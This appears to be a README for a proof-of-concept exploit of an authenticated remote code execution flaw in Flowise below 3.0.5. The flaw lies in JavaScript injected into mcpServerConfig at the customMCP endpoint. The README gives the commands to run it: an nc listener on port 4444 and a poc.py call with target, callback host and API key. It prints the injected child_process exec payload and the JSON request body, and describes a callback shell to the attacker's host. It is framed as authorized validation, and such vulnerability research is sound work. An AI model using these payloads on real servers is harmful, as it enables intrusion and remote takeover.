Minimal PoC focused on technical validation of the vulnerability in an authorized environment.
- You must have a user account on the target Flowise dashboard.
- You must have a valid API key linked to that account.
- You must start a listener on your callback host before running the PoC (example:
nc -lvn 4444).
Start the listener first:
nc -lvn 4444python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEYReplace the values with your authorized environment settings.
- Affected product: Flowise
- Affected versions: lower than
3.0.5 - Type:
Remote Code Execution (RCE) - Entry point:
POST /api/v1/node-load-method/customMCPendpoint
The issue comes from how inputs.mcpServerConfig is processed: this value is interpreted in a way that allows server-side JavaScript execution. In practice, an authenticated attacker can inject an expression that calls child_process and runs an OS command.
The exploitation flow is:
- Build a request to the
customMCPendpoint. - Put a malicious JavaScript expression in
mcpServerConfig. - Trigger
process.mainModule.require('child_process'). - Execute an OS command (
exec/execSync).
If accepted, the server executes the command in its system context.
The script takes four arguments:
-d/--domain: target domain-lh/--host: callback IP-lp/--port: callback port-A/--api: Bearer API token
Then it:
- Builds the vulnerable URL:
http://<domain>/api/v1/node-load-method/customMCP - Adds the
Authorization: Bearer <token>header - Prepares a callback shell command
- Injects that command into a JS expression:
({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});- Sends this JSON:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<injected JS expression>"
}
}- Prints the HTTP status and raw response for validation.
Compared to the EDB PoC (which performs email/password login, uses browser-like headers, and runs a free-form --cmd), this script is better for pure PoC validation:
- More direct: no login flow and less unnecessary HTTP noise.
- Lower breakage surface: fewer steps tied to frontend/auth config.
- CI-friendly automation: simple arguments and quick output.
- Clearer validation: status + body are printed immediately.
- Focused on the core CVE path:
mcpServerConfiginjection and server-side execution.
In short: the EDB script is a more generic offensive demo, while this PoC is more targeted for technical reproducibility.
- Assumes a valid API token already exists.
- No
httpsmode or certificate handling. - No retry/backoff logic.
- Callback command is hardcoded (not yet parameterized via
--cmd).
Test only on systems you own or where you have explicit authorization.